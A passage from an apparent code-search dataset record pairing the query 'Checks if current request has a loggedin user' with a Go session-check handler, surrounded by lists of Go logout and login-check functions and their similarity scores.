\"\")\n\t}\n\tif ctx.User != nil {\n\t\t(*bap.Mutex).Lock()\n\t\tdelete(bap.TokenCache, ctx.User.Token())\n\t\tbap.TokenToUsername.DelString(ctx.User.Token())\n\t\t(*bap.Mutex).Unlock()\n\t\tlog.Println(\"Logout:\", ctx.User.Username())\n\t}\n}", "func (ctrl *UserController) Logout(c *gin.Context) {\n\thttp.SetCookie(c.Writer, &http.Cookie{Path: \"/\", Name: auth.RefreshTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\n\thttp.SetCookie(c.Writer, &http.Cookie{Path: \"/\", Name: auth.AccessTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\n\n\tc.JSON(http.StatusOK, utils.Msg(\"Logged out\"))\n}", "func (a *OAuthStrategy) Logout() error {\n\taccessToken := a.AccessToken()\n\n\tif accessToken == \"\" {\n\t\treturn nil\n\t}\n\n\tif err := a.OAuthClient.RevokeToken(a.AccessToken()); err != nil {\n\t\treturn err\n\t}\n\n\ta.SetTokens(\"\", \"\")\n\n\treturn nil\n}", "func (s *AuthService) Logout(login, refreshToken string) error {\n\terr := s.client.Auth.Logout(login, refreshToken)\n\treturn err\n}", "func (a *authSvc) Logout(ctx context.Context) error {\n\taccessUuid, ok := ctx.Value(AccessUuidKey).(string)\n\tif !ok {\n\t\treturn errors.New(\"access uuid not present in context\")\n\t}\n\tdeleted, err := deleteAuth(\"access_token\", accessUuid)\n\tif err != nil || deleted == 0 {\n\t\treturn errors.New(\"not authenticated\")\n\t}\n\trefreshUuid, ok := ctx.Value(RefreshUuidKey).(string)\n\tif !ok {\n\t\treturn errors.New(\"refresh uuid not present in context\")\n\t}\n\tdeleted, err = deleteAuth(\"refresh_token\", refreshUuid)\n\tif err != nil || deleted == 0 {\n\t\treturn errors.New(\"not authenticated\")\n\t}\n\tcookieAccess := getCookieAccess(ctx)\n\tcookieAccess.RemoveToken(\"jwtAccess\")\n\tcookieAccess.RemoveToken(\"jwtRefresh\")\n\treturn nil\n}", "func (h *Handler) Logout(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\terr := h.Services.User.Logout(Authorized.UUID)\n\t\tif err != nil {\n\t\t\tJsonResponse(w, r, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\t\tJsonResponse(w, r, http.StatusOK, \"success\")\n\tcase \"POST\":\n\tdefault:\n\t\tJsonResponse(w, r, http.StatusBadRequest, \"Bad Request\")\n\t}\n}", "func (a *AuthController) Logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := a.store.Get(r, cookieSession)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n\n\tsession.Values[\"authenticated\"] = false\n\tif err := session.Save(r, w); err != nil {\n\t\tlog.Println(\"[ERROR] error saving authenticated session\")\n\t}\n\n\thttp.Redirect(w, r, \"/\", http.StatusNoContent)\n}", "func (router *router) SignOut(w http.ResponseWriter, r *http.Request) {\n\trouter.log.Println(\"request received at endpoint: SignOut\")\n\tif session.IsAuthenticated(w, r) {\n\t\trouter.database.Delete(&schema.Favourite{User: session.GetUser(w, r)})\n\t\tsession.SignOut(w, r)\n\t\trouter.log.Println(\"sign out completed redirecting to home page\")\n\t} else {\n\t\trouter.log.Println(\"Not signed in to sign out, redirecting to home page\")\n\t}\n\n\tHomePage(w, r)\n\treturn\n}", "func (c *UCSClient) Logout() {\n\tif c.IsLoggedIn() {\n\t\tc.Logger.Debug(\"Logging out\\n\")\n\t\treq := ucs.LogoutRequest{\n\t\t\tCookie: c.cookie,\n\t\t}\n\t\tpayload, err := req.Marshal()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tc.Post(payload)\n\t\tc.cookie = \"\"\n\t\tc.outDomains = \"\"\n\t}\n\tc.Logger.Info(\"Logged out\\n\")\n}", "func logoutGuest(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"POST\" {\n\t\tusername := template.HTMLEscapeString(r.FormValue(\"username\"))\n\t\tpassword := template.HTMLEscapeString(r.FormValue(\"password\"))\n\n\t\tif password != \"\" && strings.Contains(username, \"guest\") && gostuff.SessionManager[username] == password {\n\t\t\tdelete(gostuff.SessionManager, username)\n\t\t}\n\t}\n}", "func (s *Server) handleLogout(w http.ResponseWriter, req *http.Request) error {\n\t// Intentionally ignore errors that may be caused by the stale session.\n\tsession, _ := s.cookieStore.Get(req, UserSessionName)\n\tsession.Options.MaxAge = -1\n\tdelete(session.Values, \"hash\")\n\tdelete(session.Values, \"email\")\n\t_ = session.Save(req, w)\n\tfmt.Fprintf(w, `<!DOCTYPE html><a href='/login'>Log in</a>`)\n\treturn nil\n}", "func (a *localAuth) Logout(c echo.Context) error {\n\treturn a.logout(c)\n}", "func Logout(w http.ResponseWriter, r *http.Request) {\n\t// TODO JvD: revoke the token?\n\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n}", "func (c *Client) Logout(ctx context.Context, authToken *base64.Value) error {\n\treturn c.transport.Logout(ctx, authToken)\n}", "func AuthPhoneLogout(ctx context.Context) {\n\t// nothing to do here since stateless session\n\t// needs to be handled on the client\n\t// when there's a refresh token, we'll kill it\n}", "func Logout(c *gin.Context) {\n\tc.SetCookie(\"token\", \"\", -1, \"\", \"\", false, true)\n\n\tc.Redirect(http.StatusTemporaryRedirect, \"/\")\n}", "func restLogout(w *rest.ResponseWriter, r *rest.Request) {\n\tglog.V(2).Info(\"restLogout() called.\")\n\t// Read session cookie and delete session\n\tcookie, err := r.Request.Cookie(sessionCookie)\n\tif err != nil {\n\t\tglog.V(2).Info(\"Unable to read session cookie\")\n\t} else {\n\t\tdeleteSessionT(cookie.Value)\n\t\tglog.V(2).Infof(\"Deleted session %s for explicit logout\", cookie.Value)\n\t}\n\n\t// Blank out all login cookies\n\twriteBlankCookie(w, r, auth0TokenCookie)\n\twriteBlankCookie(w, r, sessionCookie)\n\twriteBlankCookie(w, r, usernameCookie)\n\tw.WriteJson(&simpleResponse{\"Logged out\", loginLink()})\n}", "func (s *ServerConnection) Logout() error {\n\t_, err := s.CallRaw(\"Session.logout\", nil)\n\treturn err\n}", "func (s LoginSession) Clear() error {\n\treq := &request{\n\t\turl: \"https://www.reddit.com/api/clear_sessions\",\n\t\tvalues: &url.Values{\n\t\t\t\"curpass\": {s.password},\n\t\t\t\"uh\": {s.modhash},\n\t\t},\n\t\tuseragent: s.useragent,\n\t}\n\tbody, err := req.getResponse()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.Contains(body.String(), \"all other sessions have been logged out\") {\n\t\treturn errors.New(\"failed to clear session\")\n\t}\n\treturn nil\n}", "func (user *User) Logout() error {\n\tuser.IsOnline = false\n\tuser.LimitationPeriod = time.Now()\n\treturn nil\n}", "func (client *Client) Logout() error {\n\t_, err := client.SendQuery(NewLogoutQuery())\n\treturn err\n}", "func Logout(_ *gorm.DB, rc *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\n\tctx := context.Background()\n\trequestUsername := getVar(r, model.UsernameVar)\n\tclaims := GetTokenClaims(ExtractToken(r))\n\ttokenUsername := fmt.Sprintf(\"%v\", claims[\"sub\"])\n\tif tokenUsername != requestUsername {\n\t\ts.Message = status.LogoutFailure\n\t\treturn http.StatusForbidden, nil\n\t}\n\ts.Code = status.SuccessCode\n\ts.Message = status.LogoutSuccess\n\trc.Del(ctx, \"access_\"+requestUsername)\n\treturn http.StatusOK, nil\n}", "func (s *RestStore) ClearSession(w http.ResponseWriter, r *http.Request) {\n\tw.WriteHeader(http.StatusUnauthorized)\n\terrMsg := `\n\t{\n\t\t\"error\": \"invalid_token\",\n\t\t\"token_type\": \"Bearer\",\n\t\t\"error_description\": \"The token has expired.\"\n\t}`\n\tw.Write([]byte(errMsg))\n}", "func Logout(c echo.Context) error {\n\tuser := c.Get(\"user\").(*jwt.Token)\n\tclaims := user.Claims.(jwt.MapClaims)\n\tusername := claims[\"name\"].(string)\n\n\terr := db.UpdateUserLoggedIn(username, false)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, \"Error logging out user\")\n\t}\n\n\treturn c.JSON(http.StatusOK, \"User logged out successfully\")\n}", "func (dsm DSM) EndSession() {\n\turl := fmt.Sprintf(\"%sauthentication/logout\", dsm.RestURL)\n\t_, err := grequests.Delete(url, &grequests.RequestOptions{HTTPClient: &dsm.RestClient, Params: map[string]string{\"sID\": dsm.SessionID}})\n\n\tif err != nil {\n\t\tlog.Println(\"Unable to make request\", err)\n\t}\n\n}", "func (connection *VSphereConnection) Logout(ctx context.Context) {\n\tclientLock.Lock()\n\tc := connection.Client\n\tclientLock.Unlock()\n\tif c == nil {\n\t\treturn\n\t}\n\n\tm := session.NewManager(c)\n\n\thasActiveSession, err := m.SessionIsActive(ctx)\n\tif err != nil {\n\t\tklog.Errorf(\"Logout failed: %s\", err)\n\t\treturn\n\t}\n\tif !hasActiveSession {\n\t\tklog.Errorf(\"No active session, cannot logout\")\n\t\treturn\n\t}\n\tif err := m.Logout(ctx); err != nil {\n\t\tklog.Errorf(\"Logout failed: %s\", err)\n\t}\n}", "func Logout(session *Session) error {\n\tif err := cache.Execute(session.Del); err != nil {\n\t\tlogger.Error(\"Logout.DelSessionError\",\n\t\t\tlogger.String(\"Session\", session.String()),\n\t\t\tlogger.Err(err),\n\t\t)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (a *noAuth) Logout(c echo.Context) error {\n\treturn a.logout(c)\n}", "func (c *controller) Logout(ctx context.Context, request *web.Request) web.Result {\n\treturn c.service.LogoutFor(ctx, request.Params[\"broker\"], request, nil)\n}", "func UserLogout(u *User) {\n\tconnectedUsers.remove(u.Name)\n}", "func Logout(r *http.Request) error {\n\n\tvar session models.Session\n\n\tCookie, err := r.Cookie(CookieKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc := Controller{}\n\tdata, err := c.Load(r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession.UUID = Cookie.Value\n\n\tvar updated []models.Session\n\tfor _, s := range data.Sessions {\n\t\tif s.UUID == session.UUID {\n\t\t} else {\n\t\t\tupdated = append(updated, s)\n\t\t}\n\t}\n\n\terr = c.StoreSessions(updated, r)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (a *Server) LogoutUser(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"logout a user\")\n}", "func signOut(w http.ResponseWriter, r *http.Request) {\n\tlogoutUser(w, r)\n\tresp := map[string]interface{}{\n\t\t\"success\": true,\n\t}\n\tapiResponse(resp, w)\n}", "func logoutHandler(res http.ResponseWriter, req *http.Request) {\n\tdefer server.LogRequest(req, http.StatusFound)\n\n\tsession.Destroy(req, res)\n\trenderBaseTemplate(res, \"logout.html\", nil)\n}", "func logout(c *gin.Context) {\n\ttoken := c.GetHeader(\"Token\")\n\tid := c.Query(\"id\")\n\tsqlStatement := `DELETE FROM player_token WHERE player_id = $1 AND token = $2`\n\t_, err := db.Exec(sqlStatement, id, token)\n\tif handleError(err, c) {\n\t\treturn\n\t}\n\tc.Status(http.StatusOK)\n}", "func logoutHandler(w http.ResponseWriter, r *http.Request, _ map[string]string) {\n\tsessionHandler.ClearSession(w, r)\n\treturn\n}", "func Logout(res http.ResponseWriter, req *http.Request) {\n\ttokenID := req.Context().Value(\"tokenID\").(string)\n\tresponse := make(map[string]interface{})\n\tmsg := constants.Logout\n\t_, err := connectors.RemoveDocument(\"tokens\", tokenID)\n\tif err != nil {\n\t\trender.Render(res, req, responses.NewHTTPError(http.StatusServiceUnavailable, constants.Unavailable))\n\t\treturn\n\t}\n\tresponse[\"message\"] = msg\n\trender.Render(res, req, responses.NewHTTPSucess(http.StatusOK, response))\n}" ]
[ "0.7621809", "0.7597498", "0.75334835", "0.74495035", "0.73430395", "0.73402953", "0.7336621", "0.7335993", "0.7319787", "0.7312112", "0.72963846", "0.72885925", "0.72867733", "0.7281128", "0.7269449", "0.72675014", "0.72644854", "0.7250693", "0.723343", "0.720153", "0.71830904", "0.7171268", "0.715925", "0.7158903", "0.71376103", "0.71309906", "0.7093276", "0.70898765", "0.70822585", "0.70497566", "0.7034209", "0.7008961", "0.69696206", "0.6956235", "0.69550186", "0.69161403", "0.69154", "0.6909926", "0.6903328", "0.68721277", "0.6866705", "0.68647385", "0.68389666", "0.6836842", "0.6829168", "0.68233544", "0.682296", "0.6813281", "0.67942643", "0.6787504", "0.677414", "0.6739498", "0.6734543", "0.6734543", "0.672917", "0.6715124", "0.6701056", "0.669499", "0.668325", "0.66682297", "0.66423184", "0.6632589", "0.6622501", "0.6621557", "0.6618353", "0.6605502", "0.65819937", "0.6581875", "0.6577295", "0.657595", "0.65653133", "0.6532207", "0.6527151", "0.6523963", "0.6521934", "0.65212", "0.6516749", "0.651357", "0.65064263", "0.6503313", "0.6495912", "0.64912987", "0.64846766", "0.64838403", "0.64724886", "0.64632946", "0.64504105", "0.6447254", "0.6444675", "0.6435525", "0.64255", "0.64250296", "0.64233667", "0.64000213", "0.6391144", "0.639089", "0.6389307", "0.6382361", "0.63619393", "0.6361484" ]
0.71338147
25
Checks if current request has a loggedin user
func isloggedin(ctx context.Context) error { user, ok := controllers.IsLoggedIn(ctx) if ok { session, _ := core.GetSession(ctx.HttpRequest()) userInfo := struct { SessionID string `json:"sessionid"` Id string `json:"id"` Name string `json:"name"` Email string `json:"email"` ApiToken string `json:"apitoken"` }{ SessionID: session.ID, Id: user.Id.Hex(), Name: user.Name, Email: user.Email, ApiToken: user.Person.ApiToken, } data, err := json.Marshal(userInfo) if err != nil { log.Error("Unable to marshal: ", err) return goweb.Respond.WithStatus(ctx, http.StatusInternalServerError) } ctx.HttpResponseWriter().Header().Set("Content-Type", "application/json") return goweb.Respond.With(ctx, http.StatusOK, data) } return goweb.Respond.WithStatus(ctx, http.StatusUnauthorized) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func isLoggedIn(req *http.Request) bool {\n\tloginCookie, err := req.Cookie(\"loginCookie\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tusername := mapSessions[loginCookie.Value]\n\t_, ok := mapUsers[username]\n\treturn ok\n}", "func IsLoggedIn(r *http.Request) bool {\n\tsession, err := loggedUserSession.Get(r, \"authenticated-user-session\")\n\tif err != nil || session.Values[\"username\"] != \"admin\" {\n\t\treturn false\n\t}\n\treturn true\n}", "func IsLoggedIn(r *http.Request) (bool, error) {\n\tsession, err := getSession(r)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tt := session.Values[\"accessToken\"]\n\tif t == nil {\n\t\treturn false, nil\n\t}\n\tstoredToken, ok := t.(string)\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"bad type of %q value in session: %v\", \"accessToken\", err)\n\t}\n\tgp := session.Values[\"gplusID\"]\n\tif t == nil {\n\t\treturn false, nil\n\t}\n\tgplusId, ok := gp.(string)\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"bad type of %q value in session: %v\", \"gplusID\", err)\n\t}\n\treturn storedToken != \"\" && isAllowed(gplusId), nil\n}", "func IsAuthenticated(r *http.Request) bool {\n\texists := app.Session.Exists(r.Context(), \"user_id\")\n\treturn exists\n}", "func isAuthSession(r *http.Request, w http.ResponseWriter) bool {\n\tloggedIn, loggedInMat := loggedIn(r)\n\tloggedInUser, err := user.FromMatrikel(loggedInMat)\n\n\tif !loggedIn || loggedInUser.Usertype == user.STUDENT || err != nil {\n\t\treturn false\n\t}\n\treturn true\n}", "func AlreadyLoggedIn(w http.ResponseWriter, r *http.Request) bool {\n\tcookie, err := r.Cookie(\"session\")\n\tif err != nil {\n\t\treturn false\n\t}\n\ts := gs.sessions[cookie.Value]\n\t_, ok := gs.users[s.userName]\n\treturn ok\n}", "func (p *hcAutonomywww) isLoggedIn(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tlog.Debugf(\"isLoggedIn: %v %v %v %v\", remoteAddr(r), r.Method,\n\t\t\tr.URL, r.Proto)\n\n\t\temail, err := p.getSessionEmail(r)\n\t\tif err != nil {\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\t// Check if user is authenticated\n\t\tif email == \"\" {\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\tf(w, r)\n\t}\n}", "func IsLoggedIn(w http.ResponseWriter, r *http.Request) {\n\tsession, err := Store.Get(r, \"session\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif session.Values[\"loggedin\"] == \"true\" {\n\t\t_, _ = w.Write([]byte(\"true\"))\n\t\treturn\n\t}\n\t_, _ = w.Write([]byte(\"false\"))\n\treturn\n}", "func (client *Client) IsLoggedIn() bool {\n\treturn len(client.currentUser) > 0\n}", "func IsUserAuthenticated(r *http.Request) bool {\n\tval := r.Context().Value(authUserAuthenticatedKey)\n\tswitch val.(type) {\n\tcase bool:\n\t\treturn val.(bool)\n\tdefault:\n\t\treturn false\n\t}\n}", "func AlreadyLoggedIn(r *http.Request) bool {\n\tc, err := r.Cookie(COOKIE_NAME)\n\tif err != nil {\n\t\treturn false\n\t}\n\tsess, _ := sessionStore.data[c.Value]\n\tif sess.Username != \"\" {\n\t\treturn true\n\t}\n\treturn false\n}", "func isAuthenticated(req *http.Request) bool {\n\tif _, err := sessionStore.Get(req, sessionName); err == nil {\n\t\treturn true\n\t}\n\treturn false\n}", "func (netgear *Netgear) IsLoggedIn() bool {\n return netgear.loggedIn\n}", "func IsAuthenticated(r *http.Request) bool {\n\tsession, err := app.Store.Get(r, \"auth-session\")\n\tif err != nil {\n\t\toptions := sessions.Options{MaxAge: -1}\n\t\tsessions.NewCookie(\"auth-session\", \"_\", &options)\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\n\t_, ok := session.Values[\"profile\"]\n\treturn ok\n}", "func (err *UnauthorizedError) isLoggedIn() bool {\n\treturn err.SessionId != 0 // SessionId is 0 for non-logged in users\n}", "func (c *ProfileController) isProfileLoggedIn() bool {\n\treturn c.getCurrentProfileID() != \"\"\n}", "func isAuthorized(w http.ResponseWriter, r *http.Request) bool {\n\tusername, err := r.Cookie(\"username\")\n\tif err == nil {\n\t\tsessionID, err := r.Cookie(\"sessionID\")\n\t\tif err == nil {\n\t\t\tif sessionID.Value != \"\" && gostuff.SessionManager[username.Value] == sessionID.Value {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tgostuff.Show404Page(w, r)\n\treturn false\n}", "func (ig *Instagram) IsLoggedIn() bool {\n\treturn ig.LoggedIn\n}", "func userHasAccess(authCtx *authz.Context, req interface{ GetUsername() string }) bool {\n\treturn !authz.IsCurrentUser(*authCtx, req.GetUsername()) && !authz.HasBuiltinRole(*authCtx, string(types.RoleAdmin))\n}", "func IsAuthenticated(r *http.Request) *Session {\n\tkey := getSession(r)\n\n\tif strings.HasPrefix(key, \"nouser:\") {\n\t\treturn nil\n\t}\n\n\ts := getSessionByKey(key)\n\tif isValidSession(r, s) {\n\t\treturn s\n\t}\n\treturn nil\n}", "func (c *UCSClient) IsLoggedIn() bool {\n\treturn len(c.cookie) > 0\n}", "func RequestIsAuth(r * http.Request) bool {\n\tif r.FormValue(\"username\") != \"\" && r.FormValue(\"key\") != \"\" {\n\t\tuser := UserForName(r.FormValue(\"username\"))\n\t\tif IsUser(user) {\n\t\t\tfor i := 0 ; i < len(Keys); i++ {\n\t\t\t\tif Keys[i].User == user.ID && Keys[i].Key == r.FormValue(\"key\") {\n\t\t\t\t\ttimeNow := time.Now()\n\t\t\t\t\tif timeNow.After(Keys[i].StartTime) && timeNow.Before(Keys[i].EndTime) {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "func checkLoggedIn(w http.ResponseWriter, r *http.Request) (*ReqBody, error) {\n\t// get token from request header\n\tReqBody, err := getTknFromReq(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// check if the token is valid or not\n\t// if valid return the user currently logged in\n\tuser := verifyToken(ReqBody.Token)\n\tReqBody.UserDB = user\n\tlog.Println(\"checklogged in\", ReqBody)\n\treturn ReqBody, nil\n}", "func isAuthenticated(r *http.Request) bool {\n\ts, _ := Store.Get(r, \"sessid\")\n\tval, ok := s.Values[\"authenticated\"].(bool)\n\treturn ok && val\n}", "func (o *Content) HasRunAsCurrentUser() bool {\n\tif o != nil && o.RunAsCurrentUser != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func CheckIfAuthenticated(uuid string) bool {\n\t// Make sure a session exists for the extracted UUID\n\t_, sessionFound := sessions[uuid]\n\treturn sessionFound\n}", "func hasUserSession(userID uuid.UUID) bool {\n\t_, ok := userCache[userID]\n\treturn ok\n}", "func IsUserPresent(ctx context.Context) bool {\n\tuserIdentity := ctx.Value(UserIdentityKey)\n\treturn userIdentity != nil && userIdentity != \"\"\n\n}", "func (u *AuthUser) IsAuthenticated() bool {\n\treturn u.id != 0\n}", "func (app *application) isAuthenticated(r *http.Request) bool {\n\tisAuthenticated, ok := r.Context().Value(contextKeyIsAuthenticated).(bool)\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn isAuthenticated\n}", "func (b *OGame) IsLoggedIn() bool {\n\treturn atomic.LoadInt32(&b.isLoggedInAtom) == 1\n}", "func (u User) IsAuthenticated() bool {\n\treturn u.Email != \"\"\n}", "func CurrentUser(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tuserID := session.Get(\"userID\")\n\tif userID == nil {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"User not logged in.\",\n\t\t\t\"err\": \"User ID not in session.\",\n\t\t})\n\t} else {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": session.Get(\"Username\"),\n\t\t\t\"err\": \"\",\n\t\t})\n\t}\n}", "func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *simpleresty.Response, error) {\n\turlStr := i.client.http.RequestURL(\"/repositories/%s/%s/issues/%v/watch\", owner, repoSlug, id)\n\tresponse, err := i.client.http.Get(urlStr, nil, nil)\n\n\thasVoted := false\n\tif response.StatusCode == 204 {\n\t\thasVoted = true\n\t}\n\n\treturn hasVoted, response, err\n}", "func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *Response, error) {\n\turlStr := i.client.requestURL(\"/repositories/%s/%s/issues/%v/watch\", owner, repoSlug, id)\n\tresponse, err := i.client.execute(\"GET\", urlStr, nil, nil)\n\n\thasVoted := false\n\tif response.StatusCode == 204 {\n\t\thasVoted = true\n\t}\n\n\treturn hasVoted, response, err\n}", "func verifyLoggedIn(resp *http.Response) bool {\n\tif resp.Request != nil && resp.Request.URL != nil {\n\t\treturn strings.HasPrefix(resp.Request.URL.String(), loggedinURLPrefix)\n\t}\n\treturn false\n}", "func GetUserFromSession(user *models.User, sess session.SessionStore) bool {\n\tid := GetUserIdFromSession(sess)\n\tif id > 0 {\n\t\tu := models.User{Id: id}\n\t\tif u.Read() == nil {\n\t\t\t*user = u\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func IsAuthed(user *db.User) bool {\n\treturn user != nil && !user.Empty && user.ID != 0\n}", "func reqIsAdmin(r *http.Request) bool {\n\tu, err := GetCurrent(r)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn u.Admin\n}", "func (i *interactor) CurrentUserIsAdmin(ctx context.Context) bool {\n\tuserID, err := i.CurrentUserID(ctx)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn userID == \"admin\"\n}", "func IsLogIn(h httprouter.Handle) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\n\t\tcookie, err := r.Cookie(\"kRtrima\") //Grab the cookie from the header\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase http.ErrNoCookie:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tLogger.Println(\"Cookie was Found with Name kRtrima\")\n\n\t\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\n\t\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\n\t\tif err != nil {\n\t\t\tLogger.Printf(\"Cannot Convert %T type to object id\", cookie.Value)\n\t\t\tLogger.Println(err)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar SP m.Session\n\t\tif err = m.Sessions.Find(\"_id\", docID, &SP); err != nil {\n\t\t\tLogger.Println(\"Cannot found a valid User Session!!\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t\t//session is missing, returns with error code 403 Unauthorized\n\t\t}\n\n\t\tLogger.Println(\"Valid User Session was Found!!\")\n\n\t\tvar UP m.LogInUser\n\n\t\terr = m.Users.Find(\"salt\", SP.Salt, &UP)\n\t\tif err != nil {\n\t\t\tLogger.Println(\"Cannot Find user with salt\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar LIP m.LogInUser\n\n\t\terr = m.GetLogInUser(\"User\", &LIP, r)\n\t\tif err != nil {\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t} else if UP.Email != LIP.Email {\n\t\t\t//remove the user ID from the session\n\t\t\tr.Header.Del(\"User\")\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\th(w, r, ps)\n\t}\n}", "func (u *AnonUser) IsAuthenticated() bool {\n\treturn false\n}", "func (ctx *TestContext) ThereIsAUser(name string) error {\n\treturn ctx.ThereIsAUserWith(getParameterString(map[string]string{\n\t\t\"group_id\": name,\n\t\t\"user\": name,\n\t}))\n}", "func getLoggedIn(r *http.Request) users.User {\n\tc, err := r.Cookie(userCookieName)\n\tif err != nil {\n\t\treturn users.User{}\n\t}\n\treturn users.GetUser(c.Value)\n}", "func authorizator(data interface{}, c *gin.Context) bool {\n\tif _, ok := data.(*models.User); ok {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func IsUserRequestCtx(ctx context.Context) bool {\n\treturn ctxutils.IsAPIGwCtx(ctx)\n}", "func (ctx *RequestContext) IsAuthenticated() bool {\n\treturn ctx.principal != nil\n}", "func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\n\tses, _ := app.SessionStore.Get(req, SessionName)\n\tvar err error\n\tvar id int64\n\tif val := ses.Values[\"userId\"]; val != nil {\n\t\tid = val.(int64)\n\t}\n\n\tif err == nil {\n\t\t_, err = models.UserById(app.Db, id)\n\t}\n\n\tif err != nil {\n\t\thttp.Redirect(rw, req, app.Config.General.Prefix+\"/login\", http.StatusSeeOther)\n\t\treturn true\n\t}\n\treturn false\n}", "func CurrentUserAsRequested(repo *repositories.UsersRepository, responseService responses.ResponseHandler) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tuser, ok := ctx.Get(\"_user\")\n\t\tif !ok {\n\t\t\t// Returns a \"400 StatusBadRequest\" response\n\t\t\tresponseService.Error(ctx, responses.CannotFindUserByAccessToken, \"Can't find user.\")\n\t\t\treturn\n\t\t}\n\n\t\tfoundUser, err := repo.FindByUID(user.(*userpb.User).UID)\n\t\tif err != nil {\n\t\t\tresponseService.NotFound(ctx)\n\t\t\tctx.Abort()\n\t\t\treturn\n\t\t}\n\t\tctx.Set(\"_requested_user\", foundUser)\n\t}\n}", "func isAuthenticated(w http.ResponseWriter, r *http.Request) {\n\tisLoggedIn := isLoggedIn(r)\n\n\tresp := map[string]interface{}{\n\t\t\"success\": isLoggedIn,\n\t}\n\tapiResponse(resp, w)\n}", "func EnsureLoggedIn(c *gin.Context) bool {\n\tgeneral := c.GetStringMapString(\"general\")\n\n\tif general[\"isloggedin\"] != \"true\" {\n\t\tSendHTML(http.StatusForbidden, c, \"blocked\", nil)\n\t\treturn false\n\t}\n\n\treturn true\n}", "func UserIsAdmin(r *http.Request) bool {\n\tval := r.Context().Value(request.CtxAccess)\n\tif val == nil {\n\t\treturn false\n\t}\n\n\tua := val.(*UserAccess)\n\treturn ua.Admin\n}", "func (u User) IsAnonymous() bool { return u == \"\" }", "func AuthorizedUser(c *gin.Context) {\n\tvar u *models.User\n\tuser := CurrentUser(c)\n\n\tif (user == u) || (user == nil) {\n\t\tc.Redirect(http.StatusMovedPermanently, helpers.LoginPath())\n\t}\n}", "func (u *User) IsUser() bool {\n\treturn u.UserGroupID == USER\n}", "func isAuthorizedNo404(w http.ResponseWriter, r *http.Request) bool {\n\tusername, err := r.Cookie(\"username\")\n\tif err == nil {\n\t\tsessionID, err := r.Cookie(\"sessionID\")\n\t\tif err == nil {\n\t\t\tif sessionID.Value != \"\" && gostuff.SessionManager[username.Value] == sessionID.Value {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "func (env *Env) currentUser(r *http.Request) (*models.User, error) {\n\ts, err := 